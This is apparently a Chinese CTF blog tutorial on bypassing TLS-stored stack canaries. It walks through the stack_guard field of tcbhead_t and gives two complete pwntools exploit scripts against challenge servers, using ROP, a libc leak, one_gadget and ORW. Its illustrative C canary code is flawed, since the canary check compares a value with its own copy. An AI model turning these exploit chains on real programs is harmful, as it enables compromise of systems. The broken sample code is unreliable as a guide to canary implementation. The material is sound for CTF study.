TLScanary:Pwn中的利器

CH13hh發表於2024-07-12

TLScanary:Pwn中的利器

引言:什麼是TLScanary?

  在二進位制漏洞利用(Pwn)領域,攻擊者面臨著層層防護措施的挑戰。在安全競賽(如CTF)和實際漏洞利用中,TLS(執行緒本地儲存)和堆疊保護(stack canary)是常見的防護技術。TLScanary應運而生,它結合了TLS協議與堆疊保護技術,專門用於處理這些受保護的二進位制檔案,從而增加了攻擊的難度

  可以說,TLS和canary在保護機制中有著密不可分的關係。

介紹:TLS的基本概念

  TLS(執行緒本地儲存)是一種線上程記憶體中儲存特定資料的機制。每個執行緒都有自己獨立的TLS區域,用於儲存與該執行緒相關的資料。這種機制在多執行緒程式中尤為重要,因為它確保每個執行緒都有自己獨立的儲存空間,而不會干擾其他執行緒的資料。

  在堆疊保護方面,TLS常被用於儲存堆疊canary值。堆疊canary是一種防止緩衝區溢位攻擊的安全措施,它是一種在函式返回地址之前插入的特殊值。其作用類似於“哨兵”,如果緩衝區溢位覆蓋了canary值,程式會在返回前檢測到不一致,並立即終止執行,從而防止惡意程式碼的執行。

  對於多執行緒的canary來說,每個執行緒的canary都是獨立存在的。當一個執行緒被建立時,作業系統會為該執行緒分配一個獨立的TLS區域,這個區域通常透過某種執行緒控制塊(TCB)來管理。每個執行緒都有一個獨立的TCB,從而確保了每個執行緒的canary值的獨立性和安全性。

多執行緒環境中的TLS和Canary

  在多執行緒環境中,每個執行緒的堆疊上都會有一個獨立的canary值。作業系統或執行時庫在為每個執行緒分配堆疊時,會在堆疊的適當位置插入一個canary值,以防止緩衝區溢位攻擊

下面我們看一段程式碼,展示瞭如何在多執行緒環境中使用TLS和canary:

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
​
// 生成隨機canary值的函式
unsigned long generate_random_canary() {
    return (unsigned long)rand();
}
​
// 終止程式的函式
void terminate_program() {
    printf("Canary value has been modified. Terminating program.\n");
    exit(1);
}
​
// 執行緒函式
void* thread_function(void* arg) {
    // 每個執行緒有自己獨立的TLS區域
    __thread int thread_local_variable = 0;
    
    // 在函式入口處插入canary值
    unsigned long canary_value = generate_random_canary();
    unsigned long expected_canary_value = canary_value;
    
    // 檢查canary值是否被修改
    if (canary_value != expected_canary_value) {
        terminate_program();
    }
    
    // 執行緒的實際工作
    // ...
    
    return NULL;
}
​
int main() {
    const int NUM_THREADS = 5;
    pthread_t threads[NUM_THREADS];
    
    // 建立多個執行緒
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, thread_function, NULL);
    }
    
    // 等待所有執行緒完成
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
    
    return 0;
}
​

  可以看到,每個執行緒都有自己的TLS區域和獨立的canary值,從而確保了多執行緒程式的安全性。

  但是,多執行緒的canary通常也有被利用的時候,當程式建立執行緒的時候會建立TLS,TLS裡面會儲存有canary的值,而TLS會儲存在stack高地址的地方那麼就是說,如果我們可以透過溢位覆蓋到TLS的位置那麼就可以繞過canary,但是這個條件比較苛刻。

  • 溢位位元組夠大,通常至少一個page(4K)

  • 建立一個執行緒,線上程內棧溢位

所以一般來說還是比較安全的,但是不排除,有些疏忽的漏洞導致攻擊者可以修改到stack_guard欄位的內容,要了解stack_guard首先先看兩個結構體。

struct pthread結構體解析

為了更好地理解TLS和canary的具體實現,我們需要了解struct pthread結構體。這個結構體包含了執行緒控制塊(TCB)和其他相關資訊。

#include <stddef.h> // 為了使用 size_t
​
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定義執行緒控制塊頭部結構體
    // 可以根據實際情況進行定義
    // 例如:執行緒ID、狀態資訊等
    int thread_id;
    // 其他相關資訊
} tcbhead_t;
​
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能與TLS相關的頭部資訊
#else
    struct {
        // 更復雜的結構體定義
        // 可能包含與TLS相關的更多詳細資訊
        // ...
    } header;
#endif
​
    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充陣列,用於對齊和可能的未來擴充套件
};
​

在這個結構體中,我們看到第一個欄位是tcbhead_t,它包含了執行緒控制塊(TCB)的相關資訊。

tcbhead_t結構體解析

typedef struct {
    void *tcb;            /* 指向執行緒控制塊(TCB)的指標 */
    dtv_t *dtv;           /* 執行緒特定資料的指標 */
    void *self;           /* 指向執行緒描述符的指標 */
    int multiple_threads; /* 標識是否有多個執行緒 */
    int gscope_flag;      /* 全域性作用域標誌 */
    uintptr_t sysinfo;    /* 系統資訊 */
    uintptr_t stack_guard;/* 堆疊保護 */
    uintptr_t pointer_guard; /* 指標保護 */
​
    /* 其他可能的欄位... */
} tcbhead_t;
​

在這個結構體中,stack_guard欄位存放的就是單執行緒的canary值。攻擊者通常可以透過覆蓋這個值的內容來繞過canary保護。

如何利用TLScanary進行攻擊

要利用TLScanary進行攻擊,攻擊者需要找到覆蓋或篡改canary值的方法,從而繞過堆疊保護。具體步驟如下:

  1. 定位canary值:找到目標程式中存放canary值的記憶體位置。

  2. 構造溢位:利用緩衝區溢位或其他漏洞覆蓋canary值。

  3. 篡改canary值:將canary值修改為正確的值,避免程式檢測到不一致。

  4. 執行攻擊程式碼:利用篡改後的記憶體執行惡意程式碼。

對於多執行緒和單執行緒的canary利用,各用一個具體的題目演示一下

多執行緒TLScanary

題目保護情況(除pie外剩下全部開啟)

TLScanary:Pwn中的利器

64位ida反彙編看看

TLScanary:Pwn中的利器

可以看見有建立執行緒的函式,pthread_create和加入執行緒的函式,pthread_join。下面介紹一下這兩個函式

執行緒函式介紹

在多執行緒程式設計中,POSIX執行緒(Pthreads)庫提供了一組函式,用於建立和管理執行緒。本文將介紹兩個關鍵函式:pthread_createpthread_join,以及它們在實際程式碼中的應用。

pthread_create 函式用於建立一個新執行緒,並指定執行緒的起始例程和引數。其原型如下:

int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
​

引數說明:

  • pthread_t *thread:指向執行緒識別符號的指標,用於儲存建立的執行緒的ID。

  • const pthread_attr_t *attr:執行緒屬性指標,可以用於設定執行緒屬性。如果傳入 NULL,則使用預設屬性。

  • void *(*start_routine)(void *):指向執行緒起始例程的指標,即執行緒開始執行的函式。

  • void *arg:傳遞給起始例程的引數。

那麼剛剛ida看見的程式碼意思就是

pthread_create 函式被呼叫以建立一個新執行緒,執行 start 函式

建立執行緒後,主執行緒呼叫 pthread_join,等待新執行緒結束。

如果 pthread_join 返回非零值,則表示發生錯誤,可以在 if 語句中處理,列印處異常。

那麼接下來看看加入的執行緒,start函式

TLScanary:Pwn中的利器

那麼可以看見給了一個很長的長度夠我們溢位,很符合第一個多執行緒TLS canary攻擊的前提。

分析:

我們可以透過覆蓋執行緒canary來繞過canary,但是建立執行緒程式只能執行一次,而且每個執行緒的canary是獨立的,也就意味著我們只能一條ROP鏈達到洩露地址執行one_gadget

思路:

1.覆蓋執行緒TLS,修改canary的內容

2.在洩露libc地址的同時把one_gadget讀入bss段上

3.進行棧遷移執行one_gadget

EXP:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3 
pop_rsi_r15_ret = 0x400be1 
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()

單執行緒TLScanary

題目保護情況(保護全開)

TLScanary:Pwn中的利器

64位ida反彙編

TLScanary:Pwn中的利器

初看是堆的選單,我們到具體函式分析一下

add函式,申請堆塊的大小有限制,會建立另一個堆塊儲存我們堆塊的指標

TLScanary:Pwn中的利器

delete函式,存在明顯的UAF漏洞

TLScanary:Pwn中的利器

show函式,可以分別列印我們建立的堆塊已經程式建立堆塊的內容(後者只能用一次)

TLScanary:Pwn中的利器

edit函式,存在一個很嚴重的漏洞,可以任意地址寫,但是由於unsigned_int8型別指標的限制我們只能改一個位元組

TLScanary:Pwn中的利器

除此之外,read函式還有溢位,但是溢位長度不夠

TLScanary:Pwn中的利器

程式開了沙箱,不能直接獲取shell,只能orw獲取flag

TLScanary:Pwn中的利器

分析:

存在UAF漏洞和列印函式,可以洩露heap地址和libc地址,可以透過任意地址寫覆蓋TLScanary,透過棧遷移,執行ORW

思路:

1.透過UAF漏洞,和show功能,分別洩露heap地址,和libc地址

2.透過任意地址寫,覆蓋 stack_guard,進而繞過canary

3.透過棧遷移,把程式流劫持到heap上使用orw獲取flag

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
libc =ELF('./libc-2.31.so') 
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
    io.sendlineafter('choice:','1')
    io.sendlineafter('Idx:',str(index))
    io.sendlineafter('Size:',str(size))
    io.sendafter('Content:',content)
​
​
​
def edit(index,content1,content2):
    io.sendlineafter('choice:','2')
    io.sendafter('Idx:',index)
    io.sendafter('context1: ',content1)
    io.sendafter('context2: ',content2)
​
​
def show(rw,index):
    io.sendlineafter('choice:','3')
    io.sendlineafter('choice:',rw)
    io.sendlineafter('Idx:',str(index))
​
​
​
def free(index):
    io.sendlineafter('choice:','4')
    io.sendlineafter('Idx:',str(index))
​
​
​
​
#gdb.attach(io)
for i in range(6):
    add(i,0x100,'a')
​
for i in range(1,5):
    free(i)
​
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
​
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
​
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
​
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200) 
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
​
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
​
add(6,0x120,orw_payload)
​
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
​
​
io.interactive()

結語:

TLScanary結合了TLS和堆疊canary的技術,顯著增加了二進位制漏洞利用的難度。理解TLS和canary的工作原理,對於編寫更安全的程式和防範攻擊至關重要。無論是單執行緒的canary還是多執行緒的canary,都需要我們去重視

總之,TLS 和 canary 不僅僅是安全技術的一部分,更是構建信任和保護使用者隱私的基石。